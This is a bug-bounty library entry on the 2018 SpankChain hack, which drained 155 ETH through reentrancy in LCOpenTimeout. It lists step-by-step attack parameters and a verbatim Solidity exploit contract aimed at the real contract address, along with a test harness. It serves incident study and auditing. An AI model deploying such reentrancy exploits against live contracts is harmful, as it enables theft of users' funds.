# SpankChain: reentrancy in LCOpenTimeout drains 155 ETH

SpankChain's LCOpenTimeout reentered via token transfer callback, draining 155 ETH from the payment channel contract.

- Payout: Real-world hack
- Severity: high
- Program: SpankChain
- Analysis by: DeFiHackLabs
- Disclosed: 2018-10-07
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2018-10/SpankChain_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20181007-spankchain
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity vuln:reentrancy

**Target:** Ethereum smart contract (payment channel)
**Root cause:** LCOpenTimeout updates state after an external call to the token contract, allowing reentrancy via the token's transfer callback.
**Steps:**
1. Attacker deploys helper contract with 5 ETH.
2. Calls `createChannel` with `_lcID = 0x4e03657aea45a94fc7d47ba826c8d667c0d1e6e33a64a036ec44f58fa12d6c45`, `_partyI = msg.sender`, `_confirmTime = type(uint256).max - block.timestamp + 1`, `_token = address(this)`, `_balances = [5e18, 1]`, sending 5 ETH.
3. Calls `LCOpenTimeout` on the same channel ID.
4. During the token transfer callback, the helper's `transfer` function reenters `LCOpenTimeout` repeatedly (up to `limit` times).
5. After reentrancy, helper transfers remaining ETH balance to attacker.
**Exploitation:** Attacker creates a channel with a malicious token contract (the helper itself). When LCOpenTimeout attempts to refund the ETH balance, it calls the token's transfer function, which reenters LCOpenTimeout before the channel state is updated, allowing repeated withdrawals of the same ETH. The attacker repeats this until the contract's ETH is drained.
**Insight:** When auditing payment channel contracts, check for reentrancy in timeout/refund functions that make external calls to user-supplied token contracts before updating channel state.

## Proof of concept (copied exactly from the original report)

**Exploit contract reentering LCOpenTimeout via transfer**

```
contract SpankChainExploitHelper {
    ISpankChain spankChain = ISpankChain(0xf91546835f756DA0c10cFa0CDA95b15577b84aA7);
    uint256 limit;
    uint256 count = 1;

    function exploit(
        uint256 c
    ) public payable {
        limit = c;
        uint256[2] memory balances;
        balances[0] = 5_000_000_000_000_000_000;
        balances[1] = 1;
        spankChain.createChannel{value: 5 ether}(
            hex"4e03657aea45a94fc7d47ba826c8d667c0d1e6e33a64a036ec44f58fa12d6c45",
            msg.sender,
            type(uint256).max - block.timestamp + 1,
            address(this),
            balances
        );
        spankChain.LCOpenTimeout(hex"4e03657aea45a94fc7d47ba826c8d667c0d1e6e33a64a036ec44f58fa12d6c45");
        payable(msg.sender).transfer(address(this).balance);
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        if (count < limit) {
            count = count + 1;
            spankChain.LCOpenTimeout(hex"4e03657aea45a94fc7d47ba826c8d667c0d1e6e33a64a036ec44f58fa12d6c45");
        }
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        return true;
    }
```

**Test harness funding and invoking exploit**

```
function testExploit() public balanceLog {
        //implement exploit code here
        vm.deal(address(this), 5 ether); //simulation flashloan
        SpankChainExploitHelper h = new SpankChainExploitHelper();
        h.exploit{value: 5 ether}(32);
        payable(address(0x0)).transfer(5 ether); //simulation replay flashloan
    }
```

